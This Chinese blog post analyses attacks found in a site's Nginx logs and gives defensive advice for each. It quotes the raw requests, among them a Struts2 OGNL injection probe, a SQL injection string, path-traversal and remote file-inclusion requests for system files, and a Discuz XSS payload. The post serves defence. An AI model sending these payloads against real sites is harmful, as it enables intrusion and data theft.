「Web安全」Nginx攻击日志分析
目录
服务器安全分析:常见攻击类型与防范措施
最近查看百度云加速的报表统计,发现攻击拦截数再次达到100+。随着攻击成本不断降低,这类攻击越来越频繁。今天决定分析一下nginx日志,看看这些攻击都是什么类型的。
一、任意代码执行
1. Nginx日志
/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true
2. URL Decode后的请求
/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true
3. 攻击分析
从请求可以看出,这是一次针对JSP的Struts2框架漏洞扫描。这类扫描在日志中非常常见。
详细分析参考:Struts2框架漏洞分析
4. 防范分析
- 请求长度限制:正常访问很少有255+字符长度的请求,可限制这类"臃肿"请求。
- 特殊字符过滤:针对项目中不常用但代码中频繁出现的字符(如
' "),禁止包含这些字符的请求。 - 代码审计工具:可使用"Seay源代码审计系统"进行PHP代码审计,但需注意其正则匹配不够智能,需要人工判断。
二、SQL注入攻击
1. Nginx日志
/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282
2. URL Decode后的请求
/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282
3. 攻击分析
SQL注入的常用手法是直接将"外界输入"作为查询参数,通过截断原有SQL构造特殊查询语句,如查询后台管理员密码等。
4. 防范分析
- 输入验证:不要相信任何"外界输入"(GET、POST、Cookie、HTTP_REFERER等),必须进行安全过滤。
- 预处理查询:使用查询条件预处理防止SQL注入。
- 数据库分权:程序连接数据库使用非根账号,每个账号仅管理一个数据库并授予最低权限。
三、文件包含
1. Nginx日志
/Article/show/id/30.html?pid=../../../../../../../../../../etc/rc.d/rc.local%00
/photo/index.html?p=c:/windows/win.ini%00
/?message=http://cirt.net/rfiinc.txt%00.php
2. 攻击分析
- 以上请求分别针对Linux和Windows的文件包含漏洞,黑客常试图包含系统敏感文件。
- 第三条请求使用了
%00转义攻击,使txt文件被当作PHP解析。
3. 防范分析
- 路径请求过滤:限制使用
../../这类相对路径的请求。 - 权限管理:Linux服务器不应使用root用户运行程序,使用特定用户并授予最低权限。
- Windows安全策略:对Windows服务器进行目录权限限制。
- 目录隔离:将程序入口文件转移到公共可访问目录,并限制程序进程逃逸出该目录。
四、XSS攻击
1. Nginx日志
/connect.php?receive=yes&mod=login&op=callback&referer=xyz%bf\x5Cu0027.replace(/.%2b/,/javascript:alert(511265478)/.source);
2. 攻击分析
这是一个针对Discuz登录回调的XSS攻击,通过隐藏的JavaScript代码实现攻击。这类攻击是前端安全问题的典型代表,手段更加隐蔽。
3. 防范分析
不要相信任何"外界输入",即使只是用于前端显示。推荐阅读《Web前端黑客技术揭秘》(钟晨鸣、徐少培著)。
五、网页后门
1. Nginx日志
/admin/login.jsp
/wp-admin/admin.php?page=leaguemanager-export
2. 攻击分析
自动扫描工具常扫描admin、login等常见路径,尤其是WordPress默认管理后台地址。
3. 防范分析
- 避免使用常见路径:不要使用
login等常见名称作为后台地址。 - 保持更新:使用WordPress时保持最新版本,注意插件安全性。
六、信息泄露
1. Nginx日志
/phpinfo.php
/test.php
/info.php
2. 攻击分析
很多站长在建站过程中会遗留测试文件,如phpinfo.php。
3. 防范分析
- 及时清理:及时删除不需要的测试文件。
- 目录检查:上传到服务器的文件目录需确认是否包含测试代码。
- 安装清理:CMS安装完成后及时删除安装目录。
结束语
“学东西最怕的就是’知其然而不知其所以然’。“网络降低了学习成本,但也降低了学习者对知识本质的把握。
很多安全问题都是由"不小心"的细节导致的。例如,很多项目中残留的kindeditor目录,里面包含测试代码,可导致路径暴露、任意文件上传等问题。
安全无小事,希望每位开发者在开发过程中都能更加注重安全细节。
推荐深入阅读:
- 《白帽子讲web安全》(吴翰清著)
- 《Web前端黑客技术揭秘》(钟晨鸣、徐少培著)
本文为原创技术文章,如需转载,请邮件联系作者(Zoa Chou)获得授权。请尊重原创作者的劳动成果,不要简单复制粘贴而不注明出处。